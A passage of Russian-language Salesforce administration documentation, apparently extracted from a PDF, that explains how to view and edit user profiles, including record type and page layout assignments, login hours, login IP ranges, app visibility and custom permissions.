«Быстрый поиск» в меню «Настройка» и выберите нужный из списка «Профили».

Ниже перечислены действия, доступные на странице общих сведений о профиле.

• Поиск объектов, полномочий и параметров

• Клонирование профиля

• Удаление настраиваемого профиля посредством кнопки «Удалить»

Прим.: Профиль, назначенныйпользователю, неможетбыть удалендажепри
его неактивности.

• Изменение имени или описания профиля посредством кнопки «Редактировать
свойства»

• Просмотр списка пользователей, назначенных профилю

• Просмотр и редактирование полномочий и параметров, доступных при выборе
любой ссылки в разделах «Приложения» и «Система».

СМ. ТАКЖЕ:

Общие сведения о расширенном пользовательском интерфейсе профиля

Параметры системы и приложения в расширенном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Расширенный пользовательский интерфейс профиля позволяет администраторам
быстро находить, просматривать и изменять параметры отдельного профиля.
Полномочияипараметрыобъединенывкатегории «Приложения» и «Система», которые
отображаютразрешенияпользователей, необходимыедля управленияииспользования
данных ресурсов.

Параметры приложения

Приложение — это набор вкладок, который может быть выбран в раскрывающемся
меню верхнего колонтитула. Все основные объекты, компоненты, данные и
конфигурацииотображаются всегда — независимоот выбранного приложения. Путем
выбора нужного приложения пользователи открывают набор вкладок, позволяющих
эффективноиспользоватьосновныефункцииданногоприложения. Например, основная
часть работы выполняется посредством приложения Sales, содержащего вкладки
«Организации» и «Возможности». Чтобы просмотреть новые маркетинговые кампании и их участников, пользователь
может выбрать приложение Marketing в раскрывающемся меню приложений (вместо добавления вкладки «Кампании» в
приложение Sales).

Врасширенномпользовательскоминтерфейсепрофиляраздел «Приложения» на страницеобщихсведенийопрофиле
содержитпараметры, связанныесбизнес-процессамиприложений. Например, чтобыразрешитьагентамслужбыподдержки
управлениеобращениями, рекомендуемустановитьфлажок «Управлениеобращениями» вразделе Call Center на странице
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«Полномочия приложения». Некоторые параметры приложения не связаны с полномочиями приложения. Например,
чтобы включить приложение Time-Off Manager, установленное из каталога AppExchange, пользователи должны получить
доступ к соответствующим классам Apex и страницам Visualforce, а также полномочия поля и объекта, позволяющие
создавать запросы на утверждение отгулов.

Прим.: Всеполномочияпользователядействительнынезависимоот текущегоприложения. Например, полномочие
«Импорт интересов» относится к приложению Sales, но также доступно пользователю в приложении Call Center.

Параметры системы

Некоторыесистемныефункцииприменяютсякорганизации, анеотдельномуприложению. Например, времяидиапазоны
IP-адресоввходаопределяютвозможностьвходапользователянезависимооттекущегоприложения. Остальныесистемные
функции применяются ко всем приложениям. Например, полномочия «Запуск отчетов» и «Управление панелями
мониторинга» позволяют менеджерам создавать отчеты и управлять ими во всех приложениях. Некоторые полномочия
(например, «Изменениевсехданных») применяютсяко всемприложениямиподдерживаютфункции, которыене связаны
с приложениями (например, загрузка приложения Data Loader).

СМ. ТАКЖЕ:

Общие сведения о расширенном пользовательском интерфейсе профиля

Поиск в расширенном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступные полномочия и
параметры профиля
определяютсяиспользуемой
версией Salesforce.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска полномочий и
параметров в профиле:
• «Просмотр настройки и

конфигурации»

Введите не менее трех последовательных букв из имени нужного объекта, вкладки,

полномочия или параметра в поле «Поиск параметров». По мере ввода
отображается список элементов, соответствующихзаданному критериюпоиска. Чтобы
открыть соответствующую страницу параметров, щелкните имя нужного элемента в
списке.

Критерии поиска не чувствительны к регистру. Некоторые категории поддерживают
поиск по имени конкретного полномочия или параметра. Другие категории
поддерживают поиск по имени категории.

ПримерПоискЭлемент

Введите критерий продажи в поле «Поиск
параметров…» ивыберите элементсписка
«Продажи».

Имя приложенияНазначенные
приложения

Например, чтобы найти настраиваемый
объект «Альбомы», введите критерий альб
и выберите элемент списка «Альбомы».

Имя объектаОбъекты

Например, объект «Альбомы» содержит
поле «Описание». Чтобы найти поле

Имя родительского
объекта

• Поля

• Типы записей
«Описание» для объекта «Альбомы»,

• Назначения
макетастраницы

введите критерий альб, выберите элемент
списка «Альбомы» ипрокрутитестраницу
до поля «Описание» в разделе
«Полномочия поля».
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ПримерПоискЭлемент

Введите критерий отч и выберите элемент списка
«Отчеты».

Имя вкладки или
родительского объекта

Вкладки

Введите критерий api и выберите элемент списка «API
включен».

Имя полномочияПолномочия приложения и
системы

Чтобы найти параметры доступа к классу Apex, введите
критерий apex и выберите элемент списка «Доступ к

Имя категорииВсе другие категории

классу Apex». Чтобы найти настраиваемые полномочия,
введите критерий наст и выберите элемент списка
«Настраиваемые полномочия». И т. д.

Если результаты поиска не отображаются, выполните указанные ниже действия.

• Убедитесь, что искомое полномочие, объект, вкладка или параметр доступны в текущей организации.

• Убедитесь, что искомый элемент доступен для лицензии пользователя, связанной с текущим профилем. Например,
профиль, которому назначена лицензия «Массовый клиентский портал», не содержит полномочия «Изменение всех
данных».

• Убедитесь, что поисковый запрос содержит не менее трех последовательных букв из имени нужного элемента.

• Проверьте правильность написания названия искомого элемента.

СМ. ТАКЖЕ:

Общие сведения о расширенном пользовательском интерфейсе профиля

Назначение типов записей и макетов страниц в расширенном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров доступа к типам
записей и макетам страниц:
• «Управление

профилями и наборами
полномочий»

Параметр «Типы записей и назначения макетов страниц» в расширенном
пользовательском интерфейсе профиля определяет соотнесения типа записи и
назначения макета страницы, используемые для просмотра записей. Также данный
параметр определяет типы записей, доступные пользователям при создании и
редактировании записей.

Чтобывыбрать типызаписейиназначениямакетов страниц, выполните указанныениже
действия.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. Введите имя объекта в поле «Поиск параметров…» и выберите нужный объект из
списка.

4. Нажмите кнопку «Правка».

5. При необходимости измените параметры в разделе «Типы записей и назначения
макетов страниц».
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ОписаниеПараметр

Список всех текущих типов записей для объекта.

«--Основной--» — это системный тип записи, используемый в случае
отсутствия настраиваемого типа записи. При выборе значения

Типы записей

«--Основной--» тип записи не может быть изменен (например, при
создании записи). Все остальные типы записей являются настраиваемыми.

Макет страницы, используемый для каждого типа записи. Макет страницы
определяет кнопки, поля, связанные списки и прочие элементы, доступные

Назначение макета страницы

пользователямданногопрофиляприсозданиизаписейсосвязаннымтипом
записи. Каждомупользователюпредоставляетсядоступковсемтипамзаписей,
поэтому каждому типу записи должен быть назначен макет страницы (даже
в том случае, если данный тип записи не указан как назначенный тип записи
в профиле).

Типы записей, отмеченные в данном столбце, доступны пользователям
данного профиля при создании записей для объекта. При выборе значения

Назначенные типы записей

«--Основной--» пользователи не могут выбирать настраиваемый тип
записи. При выборе настраиваемого типа записи пользователи не могут
выбирать значение «--Основной--».

Стандартный тип записи, доступный пользователям данного профиля при
создании записей для объекта.

Стандартный тип записи

Параметр «Типы записей и назначения макетов страниц» имеет некоторые различия для указанных ниже объектов
и вкладок.

ОтличиеОбъект или вкладка

Если организация использует организации-лица, то объект «Организации»
также содержит параметры «Стандартный тип записи

Организации

организации-компании» и «Стандартный тип записи
организации-лица», которые определяют стандартный тип записи,
доступный пользователям данного профиля при создании
организаций-компанийилиорганизаций-лицизпреобразованныхинтересов.

Объект «Обращения» также содержит параметр «Закрытие обращения»,
которыйопределяетназначениямакетовстраниц, доступныепользователям

Обращения

для каждого типа записи в закрытыхобращениях. Такимобразом, одини тот
же тип записи может использовать разные макеты страниц для открытых и
закрытых обращений. Данный дополнительный параметр позволяет
использоватьпризакрытииобращенияотдельныймакет страницы, который
определяет способ закрытия обращения.

Настраиваемые типызаписейнемогут быть указаныдля вкладки «Начальная
страница». Назначение макета страницы может быть выбрано только для
типа записи «--Основной--».

Начальная страница
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6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Как определяется доступ к типу записи?

Назначение настраиваемых типов записей в наборах полномочий

Страница общих сведений в расширенном пользовательском интерфейсе профиля

Просмотр и редактирование времени входа в расширенном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
времени входа:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров времени входа:
• «Управление

профилями и наборами
полномочий»

Каждому профилю может быть назначено определенное время входа пользователей.

1. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

2. Щелкните имя выбранного профиля.

3. Нажмите кнопку «Правка» в разделе «Время входа» на странице общих сведений о
профиле.

4. Выберите дни и часы доступа данного профиля к организации.

Чтобы разрешить пользователям выполнять вход в любое время, щелкните ссылку
«Очистить все поля времени». Чтобы запретить пользователям доступ к системе
в определенный день, выберите одинаковое время начала и окончания.

Позавершениивременивхода вошедшиепользователимогутпросматривать только
текущую страницу.

Прим.: Для профиля задаются первые часы входа в систему, они зависят от
принятого в организации часового пояса по умолчанию, который задается на
странице «Сведенияокомпании» вразделе «Настройка». Такимобразом, изменение
поля организации «Часовой пояс по умолчанию» не инициирует изменение
часового пояса, используемого для времени входа в профиле. В результате время
входа всегда применяется точно, несмотря на использование другого часового
пояса пользователя или изменение стандартного часового пояса организации.

Взависимостиотвыполняемогодействия (просмотрилиредактированиевремени
входа), отображаемое время может различаться. На странице редактирования
времени входа время отображается в часовом поясе, выбранном текущим
пользователем. На странице общих сведений о профиле время отображается в
исходном стандартном часовом поясе организации.

СМ. ТАКЖЕ:

Общие сведения о расширенном пользовательском интерфейсе профиля
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Ограничение диапазонов IP-адресов входа в расширенном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра диапазонов
IP-адресов входа:
• «Просмотр настройки и

конфигурации»

Для редактирования и
удаления диапазонов
IP-адресов входа:
• «Управление

профилями и наборами
полномочий»

Управлениедоступомпоименивходана уровнепользователя за счет указаниядиапазона
допустимых IP-адресов для профиля пользователя. Если профиль поддерживает
ограничения по IP-адресам, то вход может быть выполнен только посредством
разрешенного IP-адреса.

1. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

2. Щелкните имя выбранного профиля.

3. Щелкните ссылку «Диапазоны IP-адресов входа» на странице общих сведений о
профиле.

4. Укажите разрешенные для профиля IP-адреса.

• Чтобыдобавитьдиапазон IP-адресов, которыемогутиспользоватьсяпользователем
для входа, щелкнитеДобавитьдиапазоны IP-адресов. Введитедействительные
IP-адреса в поля «Начальный IP-адрес» и «Конечный IP-адрес». Чтобы
разрешить входы с отдельного IP-адреса, заполните оба поля одним адресом.

• Чтобы изменить или удалить диапазон, щелкните ссылку «Правка» или
«Удалить» напротив нужного диапазона.

Важное замечание:

• IP-адресадиапазонадолжныиспользоватьпротокол IPv4 или IPv6. IPv4-адреса
находятся в диапазоне IPv6-адресов, соотнесенных с протоколом IPv4
(::ffff:0:0  — ::ffff:ffff:ffff, где ::ffff:0:0 присваивается
значение 0.0.0.0, а ::ffff:ffff:ffff  — значение
255.255.255.255). Вдиапазоннемогут входитьодновременновнешние
и внутренние IP-адреса соотнесенного с IPv4 пространства адресов IPv6.
Такие диапазоны, как 255.255.255.255  — ::1:0:0:0 или ::  —
::1:0:0:0, являются недопустимыми.

• Профили «Пользователь-партнер» ограничиваются пятью IP-адресами. С
целью расширения диапазона обратитесь в компанию Salesforce.

• Приложение Salesforce Classic Mobile может игнорировать диапазоны
IP-адресов, заданные для профилей. Salesforce Classic Mobile инициирует
безопасное подключение к Salesforce через сеть мобильного оператора.
Однако IP-адреса мобильного оператора могут выходить за рамки
допустимогодиапазона IP-адресовдляпрофиляпользователя. Воизбежание
игнорированиядиапазонов IP-адресов, заданныхдляпрофиля, рекомендуем
отключитьприложение Salesforce Classic Mobileнастранице1177дляданного
пользователя.

5. При необходимости введите описание диапазона. При использовании нескольких диапазонов поле «Описание»
может содержать дополнительную информацию (например, область сети, соответствующая данному диапазону).

Прим.: ПринеобходимостиможноидальшеограничитьдоступксистемеSalesforce только IP-адресамииздиапазонов
IP-адресоввхода. Чтобывключитьэтотпараметр, вразделе «Настройка» введите «Параметры сеанса» вполе «Быстрый
поиск», выберите «Параметры сеанса», после чего выберите «Применять диапазоны IP-адресов при каждом
запросе». Этот параметр отражается на всех профилях пользователей, для которых применяются IP-ограничения.
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Работа с профилями в исходном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Чтобы просмотреть профиль, введите строку «Профили» в поле «Быстрый поиск» в
меню «Настройка» и выберите нужный из списка «Профили».

Ниже перечислены действия, доступные на странице сведений о профиле.

• Редактирование профиля

• Клонирование профиля

• Удаление настраиваемого профиля посредством кнопки «Удалить»

Прим.: Профиль, назначенныйпользователю, неможетбыть удалендажепри
его неактивности.

• Просмотр пользователей, назначенных данному профилю

Редактирование профилей в исходном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
профилей:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Профили определяют порядок доступа пользователей к объектам и данным, а также
доступные действия. Стандартные профили поддерживают редактирование
ограниченного количества параметров. Настраиваемые профили поддерживают
редактированиевсехдоступныхполномочийипараметров, кромелицензиипользователя.

Прим.: Редактированиеоднихполномочийможетинициировать включениеили
выключение других. Например, при включении полномочия «Просмотр всех
данных» включается полномочие «Чтение» для всех объектов. Аналогичным
образом, при включении полномочия «Перенос интересов» включаются
полномочия «Чтение» и «Создание» для интересов.

Совет: Если организация использует расширенные списковые представления
профилей, топользовательможетизменитьполномочиядлянесколькихпрофилей
из спискового представления.

1. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

2. Выберите нужный профиль.

3. Нажмите кнопку «Правка» на странице сведений о профиле.

СМ. ТАКЖЕ:

Назначение макетов страниц в исходном пользовательском интерфейсе профиля

Параметры профиля в исходном пользовательском интерфейсе профиля

Просмотр и редактирование доступа к настольному клиенту в исходном
пользовательском интерфейсе профиля

Назначение типов записей профилям в исходном пользовательском интерфейсе
профиля

Просмотр и редактирование времени входа в исходном пользовательском интерфейсе профиля

Ограничение IP-адресов входа в исходном пользовательском интерфейсе профиля
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Параметры профиля в исходном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
профилей:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Профили определяют порядок доступа пользователей к объектам и данным, а также
доступные действия. Эти параметры доступны для просмотра и редактирования на
странице сведений об исходном пользовательском профиле.

Для просмотра и редактирования
перейдите к следующему разделу

Параметр

Сведений о профилеИмя и описание профиля (только
настраиваемые профили)

Полномочия администратораПолномочия администратора и общие
полномочия (только настраиваемые
профили)

Параметры настраиваемого приложенияПараметры доступности приложения

Параметры консолиМакеты консоли для всех профилей

ВключенныенастраиваемыеполномочияНастраиваемые полномочия

Клиенты интеграцииПараметрыдоступакнастольномуклиенту

Доступ к включенным внешним
источникам данных

Внешние источники данных

Безопасность поляДоступ к полям объектов

Время входаВремя входа

«Диапазоны IP-адресов входа». Нажмите
кнопку «Создать» илищелкните ссылку

Диапазоны IP-адресов входа

«Правка» напротив текущего диапазона
IP-адресов.

Прим.: Принеобходимостиможно
и дальше ограничить доступ к
системеSalesforce только IP-адресами
из диапазонов IP-адресов входа.
Чтобы включить этот параметр, в
разделе «Настройка» введите
«Параметры сеанса» в поле
«Быстрый поиск», выберите
«Параметры сеанса», после чего
выберите«Применятьдиапазоны
IP-адресов при каждом запросе».
Этот параметр отражается на всех
профилях пользователей, для
которых применяются
IP-ограничения.

Полномочия стандартного объектаПолномочия объекта
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Для просмотра и редактирования перейдите к
следующему разделу

Параметр

Макеты страницМакеты страниц

Раздел «Параметры типа записи» Ссылка «Правка»
доступна только при наличии типов записей для объекта.

Типы записей

Параметры вкладкиПараметры доступности вкладки

Доступ к включенному классу ApexВыполняемые классы Apex

Доступ к включенной странице VisualforceВыполняемые страницы Visualforce

Доступ к статусам присутствия включенной услугиСтатусы присутствия услуги

СМ. ТАКЖЕ:

Редактирование профилей в исходном пользовательском интерфейсе профиля

Назначение макетов страниц в исходном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения макетов
страниц в профилях:
• «Управление

профилями и наборами
полномочий»

Использование исходного пользовательского интерфейса профиля позволяет с
легкостью просматривать и редактировать все назначения макетов страниц в одном
месте.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. Щелкните ссылку «Просмотр назначения» напротив имени нужной вкладки в
разделе «Макеты страниц».

4. Щелкните «Редактировать назначение».

5. Чтобывыбратьмакет страницыдля каждогопрофиля, воспользуйтесьприведенной
таблицей. Если организация использует типы записей, то таблица поддерживает
возможность выбора макета страницы для каждого профиля и типа записи.

• Выбранные назначения макетов страниц выделяются цветом.

• Измененныеинесохраненныеназначениямакетовстраницвыделяютсякурсивом.

6. Чтобы назначить другой макет страницы, выберите нужное значение в
раскрывающемся списке «Макет страницы для использования» и повторите
предыдущее действие для нового макета страницы.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Работа с профилями в исходном пользовательском интерфейсе профиля
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Просмотр и редактирование доступа к настольному клиенту в исходном пользовательском интерфейсе
профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
доступа к настольному
клиенту:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров доступа к
настольному клиенту:
• «Управление

профилями и наборами
полномочий»

Connect Offline и Connect for Office — это настольные клиентские приложения,
позволяющие интегрировать систему Salesforce в компьютер пользователя.
Администратор может выбрать настольные клиентские приложения, которые должны
бытьдоступныпользователям, а такженастроитьавтоматическиеуведомленияоналичии
обновлений.

Прим.: Настольные клиентские приложения доступны только при наличии
полномочия «API включен».

1. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

2. Щелкните ссылку «Правка» напротив имени нужного профиля и прокрутите
страницу до раздела «Клиенты интеграции компьютеров».

СМ. ТАКЖЕ:

Работа с профилями в исходном пользовательском интерфейсе профиля

Назначение типов записей профилям в исходном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения типов
записей профилям:
• «Настройка

приложения»

После того как высоздадите типызаписейивключите вних значенияраскрывающегося
списка, добавьте типы записей в пользовательские профили. При назначении
определенного типа записи определенному профилю пользователи, использующие
этот профиль, могут назначать этот тип записи своим создаваемым или изменяемым
записям.

Прим.: Пользователи могут просматривать записи любого типа, независимо от
типа записи, связанного с их профилем.

Вы можете связать несколько типов записей с тем или иным профилем. Например,
пользователюнеобходимо создать возможности продаж аппаратного и программного
обеспечения. В этом случае вы можете создавать и добавлять типы записей
«Оборудование» и «Программное обеспечение» в профиль пользователя.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберитенужныйпрофиль. Раздел «Параметрытипазаписи» содержиттипызаписей,
доступные для данного профиля.

3. Щелкните ссылку «Правка» напротив нужного типа записи.
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4. Выберите тип записи из списка «Доступные типы записей» и добавьте его в список «Избранные типы записей».

«Основной» — это системный тип записи, используемый в случае отсутствия настраиваемого типа записи. При
назначении «Основной» тип записи не может быть изменен (например, при создании записи). Все остальные типы
записей являются настраиваемыми.

5. В разделе «По умолчанию» выберите тип записи по умолчанию.

При использовании организаций-лиц данный параметр также определяет поля организаций, которые должны
отображаться в области «Быстрое создание» на начальной странице вкладки «Организации».

6. Прииспользованииорганизаций-лицнастройтепараметрытиповзаписипоумолчаниюдлязаписейорганизаций-лиц
и организаций-компаний. В раскрывающихся списках Тип записи по умолчанию организация-компания, а затем
Тип записи по умолчанию организация-лицо, выберите учетную запись по умолчанию.

Данныепараметрыиспользуютсядляотображениястандартныхтиповзаписейобоихтиповорганизаций (например,
при создании интересов).

7. Нажмите кнопку «Сохранить».

Прим.: При использовании организаций-лиц настройте параметры типов записи по умолчанию для записей
организаций-лиц и организаций-компаний. Перейдите в раздел «Параметры типа записи учетной записи» на
страницесведенийпрофиля. Вытакжеможете воспользоватьсядругимспособомустановкипараметров типа записи
по умолчанию для учетной записи, щелкнув «Изменить».

СМ. ТАКЖЕ:

Как определяется доступ к типу записи?

Работа с профилями в исходном пользовательском интерфейсе профиля

Назначение настраиваемых типов записей в наборах полномочий
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Просмотр и редактирование времени входа в исходном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки времени
входа:
• «Управление

профилями и наборами
полномочий»

Укажите часы, когда пользователи могут входить в систему, в зависимости от своего
профиля.

1. Введите строку «Профили» вполе «Быстрый поиск» вменю «Настройка», выберите
пункт «Профили», затем выберите профиль пользователя.

2. Нажмите кнопку «Правка» в связанном списке «Время входа».

3. Выберите дни и часы доступа данного профиля к системе.

Чтобы разрешить пользователям выполнять вход в любое время, щелкните
«Очистить все поля времени». Чтобы запретить пользователям доступ к системе
в определенный день, выберите одинаковое время начала и окончания.

Позавершениивременивхода вошедшиепользователимогутпросматривать только
текущую страницу.

4. Нажмите кнопку «Сохранить».

Прим.: Для профиля задаются первые часы входа в систему, они зависят от
принятого в организации часового пояса по умолчанию, который задается на
странице «Сведенияокомпании» вразделе «Настройка». Такимобразом, изменение
поля организации «Часовой пояс по умолчанию» не инициирует изменение
часового пояса, используемого для времени входа в профиле. В результате время
входа всегда применяется точно, несмотря на использование другого часового
пояса пользователя или изменение стандартного часового пояса организации.

Взависимостиотвыполняемогодействия (просмотрилиредактированиевремени
входа) отображаемое время может различаться. На странице сведений о профиле
время отображается в часовом поясе, выбранном текущим пользователем. На
страницередактированиявременивходавремяотображаетсявстандартномчасовом
поясе организации.

СМ. ТАКЖЕ:

Работа с профилями в исходном пользовательском интерфейсе профиля

Ограничение IP-адресов входа в исходном пользовательском интерфейсе профиля
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Ограничение IP-адресов входа в исходном пользовательском интерфейсе профиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра диапазонов
IP-адресов входа:
• «Просмотр настройки и

конфигурации»

Для редактирования и
удаления диапазонов
IP-адресов входа:
• «Управление

профилями и наборами
полномочий»

Управлениедоступомквходув системунауровнепользователяпутемуказаниядиапазона
допустимых IP-адресов в профиле пользователя. Если профиль поддерживает
ограничения по IP-адресам, то вход может быть выполнен только посредством
разрешенного IP-адреса.

1. Способ ограничения диапазона действительных IP-адресов в профиле зависит от
вашей версии Salesforce.

• Вверсии Enterprise Edition, Unlimited Edition, Performance Edition или Developer Edition
введите «Профили» в поле «Быстрый поиск», выберите «Профили» в меню
«Настройка», затем выберите нужный профиль.

• Есливыпользуетесь выпуском Professional, Group или Personal, вменю «Настройка»
введите «Параметры сеанса» в поле «Быстрый поиск», затем выберите
«Параметры сеанса».

2. Нажмите кнопку «Создать» в связанном списке «Диапазоны IP-адресов входа».

3. Введите действительные IP-адреса в поля «Начальный IP-адрес» и «Конечный
IP-адрес».

Начальный и конечный адреса определяют диапазон разрешенных IP-адресов,
которые могут использоваться для входа. Чтобы разрешить вход с отдельного
IP-адреса, введите один адрес в оба поля.

• IP-адреса диапазона должны использовать протокол IPv4 или IPv6. IPv4-адреса
находятся в диапазоне IPv6-адресов, соотнесенных с протоколом IPv4
(::ffff:0:0  — ::ffff:ffff:ffff, где ::ffff:0:0 присваивается
значение 0.0.0.0, а ::ffff:ffff:ffff  — значение 255.255.255.255). В диапазон не могут входить
одновременно внешниеи внутренние IP-адреса соотнесенного с IPv4 пространства адресов IPv6. Такие диапазоны,
как 255.255.255.255  — ::1:0:0:0 или ::  — ::1:0:0:0, являются недопустимыми.

• Профили «Пользователь-партнер» ограничиваютсяпятью IP-адресами. Сцельюрасширениядиапазонаобратитесь
в компанию Salesforce.

• Приложение Salesforce Classic Mobileможетигнорироватьдиапазоны IP-адресов, заданныедляпрофилей. Salesforce
Classic Mobileинициируетбезопасноеподключениек Salesforceчерез сетьмобильногооператора. Однако IP-адреса
мобильного оператора могут выходить за рамки допустимого диапазона IP-адресов для профиля пользователя.
Воизбежаниеигнорированиядиапазонов IP-адресов, заданныхдляпрофиля, рекомендуемотключитьприложение
Salesforce Classic Mobile на странице 1177 для данного пользователя.

4. При необходимости введите описание диапазона. При использовании нескольких диапазонов поле «Описание»
может содержать дополнительную информацию (например, область сети, соответствующая данному диапазону).

5. Нажмите кнопку «Сохранить».

Прим.: Параметрам кэширования для статических ресурсов назначается значение «Личный» при использовании
сайта Force.com, поддерживающего ограничения по диапазону IP-адресов или времени входа для профиля
пользователя-гостя. Сайты, поддерживающиеограничениядляпрофиляпользователя-гостя, кэшируютстатические
ресурсы только в пределах обозревателя. Кроме того, при ограничении доступа к общедоступному сайту удаление
статических ресурсов из кэша Salesforce и любого промежуточного кэша может занять до 45 дней.

Прим.: Принеобходимостиограничьте весь доступк системе Salesforce только IP-адресамииз диапазонов IP-адресов
входа. Чтобывключить этотпараметр, вразделе «Настройка» введите «Параметры сеанса» вполе «Быстрый поиск»,
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выберите «Параметрысеанса», послечего выберите «Применятьдиапазоны IP-адресовприкаждомзапросе».
Этот параметр отражается на всех профилях пользователей, для которых применяются IP-ограничения.

СМ. ТАКЖЕ:

Настройка диапазонов надежных IP-адресов для организации

Просмотр и редактирование времени входа в исходном пользовательском интерфейсе профиля

Работа с профилями в исходном пользовательском интерфейсе профиля

Просмотр и редактирование назначенных приложений в профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров доступности
приложения:
• «Управление

профилями и наборами
полномочий»

Параметры назначенного приложения определяют приложения, доступные
пользователям в меню приложений Force.com.

Каждому профилю должно быть доступно как минимум одно приложение, за
исключением профилей, связанных с пользователями клиентского портала.

Чтобы задать доступность приложения, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. В зависимости от используемого типа пользовательского интерфейса, выполните
одно из указанных ниже действий.

• Расширенный пользовательский интерфейс профиля: щелкните ссылку
«Назначенные приложения» и нажмите кнопку «Правка».

• Исходный пользовательский интерфейс профиля: нажмите кнопку «Правка»
и прокрутите страницу до раздела «Параметры настраиваемого приложения».

4. Выберите одно стандартное приложение. Стандартное приложение отображается
при первом входе пользователя.

5. Установите флажок «Доступно» напротив любых других нужных приложений.

СМ. ТАКЖЕ:

Профили
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Включение настраиваемых полномочий в профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Для организаций,
использующих Group
Edition и Professional
Edition, нельзя создавать или
редактировать
настраиваемыеполномочия,
но можно установить их как
часть управляемого пакета.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
настраиваемыхполномочий
в профилях:
• «Управление

профилями и наборами
полномочий»

Настраиваемыеполномочияпозволяютпредоставлятьдоступкнастраиваемымпроцессам
или приложениям. Созданное настраиваемое полномочие, связанное с процессом или
приложением, может быть включено в профилях.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. В зависимости от используемого типа пользовательского интерфейса, выполните
одно из указанных ниже действий.

• Расширенный пользовательский интерфейс профиля: щелкните ссылку
«Настраиваемые полномочия» и нажмите кнопку «Правка».

• Исходный пользовательский интерфейс профиля: нажмите кнопку «Правка»
в связанном списке «Включенные настраиваемые полномочия».

